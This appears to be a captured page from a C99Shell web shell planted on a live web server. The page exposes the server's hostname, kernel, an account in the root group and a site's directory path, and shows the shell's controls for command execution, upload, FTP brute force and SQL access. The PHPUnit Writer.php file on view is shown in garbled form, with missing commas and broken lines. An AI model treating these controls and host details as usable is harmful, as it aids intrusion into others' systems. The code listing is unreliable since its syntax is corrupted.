!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/phpunit/phpunit/src/Runner/Baseline/   drwxr-xr-x
Free 28.46 GB of 117.98 GB (24.12%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Writer.php (1.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace PHPUnit\Runner\Baseline;

use function 
assert;
use function 
dirname;
use function 
file_put_contents;
use 
XMLWriter;

/**
 * @internal This class is not covered by the backward compatibility promise for PHPUnit
 */
final class Writer
{
    
/**
     * @psalm-param non-empty-string $baselineFile
     */
    
public function write(string $baselineFileBaseline $baseline): void
    
{
        
$pathCalculator = new RelativePathCalculator(dirname($baselineFile));

        
$writer = new XMLWriter;

        
$writer->openMemory();
        
$writer->setIndent(true);
        
$writer->startDocument();

        
$writer->startElement('files');
        
$writer->writeAttribute('version', (string) Baseline::VERSION);

        foreach (
$baseline->groupedByFileAndLine() as $file => $lines) {
            
assert(!empty($file));

            
$writer->startElement('file');
            
$writer->writeAttribute('path'$pathCalculator->calculate($file));

            foreach (
$lines as $line => $issues) {
                
$writer->startElement('line');
                
$writer->writeAttribute('number', (string) $line);
                
$writer->writeAttribute('hash'$issues[0]->hash());

                foreach (
$issues as $issue) {
                    
$writer->startElement('issue');
                    
$writer->writeCData($issue->description());
                    
$writer->endElement();
                }

                
$writer->endElement();
            }

            
$writer->endElement();
        }

        
$writer->endElement();

        
file_put_contents($baselineFile$writer->outputMemory());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0121 ]--